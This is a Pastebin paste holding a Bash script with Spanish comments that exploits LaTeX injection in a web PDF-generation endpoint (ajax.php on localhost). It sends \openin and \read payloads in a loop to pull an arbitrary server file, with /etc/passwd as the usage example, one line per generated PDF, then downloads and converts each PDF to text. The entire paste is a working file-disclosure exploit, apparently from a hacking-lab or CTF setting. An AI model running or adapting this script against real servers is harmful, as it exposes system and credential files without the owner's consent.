Advertisement
vic_npc

Scrip Latex

May 31st, 2023
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.17 KB | Cybersecurity | 0 0
  1. #!/bin/bash
  2.  
  3. # Variables Globales
  4. declare -r main_url="http://localhost/ajax.php"  # URL principal para la solicitud
  5. filename=$1  # Nombre del archivo a descargar, pasado como argumento al script
  6.  
  7. if [ $1 ]; then  # Verificar si se proporciona un argumento
  8.  
  9.   read_file_to_line="%0A\read\file%20to\line"  # Secuencia de escape para leer un archivo y pasar a la siguiente línea
  10.  
  11.   # Iterar 100 veces para intentar descargar múltiples partes del archivo si están disponibles
  12.   for i in $(seq 1 100); do
  13.  
  14.     # Realizar una solicitud POST a la URL principal utilizando curl para obtener el enlace de descarga del archivo
  15.     file_to_download=$(curl -s -X POST $main_url -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -d "content=\newread\file%0A\openin\file=$filename$read_file_to_line%0A\text{\line}%0A\closein\file&template=blank" | grep -i download | awk 'NF{print $NF}')
  16.    
  17.     if [ $file_to_download ]; then  # Verificar si se ha obtenido un enlace de descarga válido
  18.  
  19.       # Descargar el archivo utilizando wget y redirigir la salida a /dev/null
  20.       wget $file_to_download &>/dev/null
  21.      
  22.       # Convertir el archivo descargado de PDF a texto utilizando pdftotext
  23.       file_to_convert=$(echo $file_to_download | tr '/' ' ' | awk 'NF{print $NF}')
  24.       pdftotext $file_to_convert
  25.      
  26.       # Obtener el nombre del archivo convertido a texto
  27.       file_to_read=$(echo $file_to_convert | sed 's/\.pdf/\.txt/')
  28.      
  29.       # Eliminar el archivo PDF descargado
  30.       rm $file_to_convert
  31.      
  32.       # Imprimir la primera línea del archivo de texto
  33.       cat $file_to_read | head -n 1
  34.      
  35.       # Eliminar el archivo de texto convertido
  36.       rm $file_to_read
  37.      
  38.       # Agregar la secuencia de escape para leer el siguiente bloque del archivo
  39.       read_file_to_line+="%0A\read\file%20to\line"
  40.     else
  41.       # Si no se ha obtenido un enlace de descarga válido, agregar la secuencia de escape para leer el siguiente bloque del archivo
  42.       read_file_to_line+="%0A\read\file%20to\line"
  43.     fi
  44.  
  45.   done
  46.  
  47. else
  48.   # Mostrar un mensaje de uso si no se proporciona un argumento válido
  49.   echo -e "\n[!] Uso: $0 /etc/passwd/\n\n"
  50. fi
  51.  
Tags: s4vitar
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement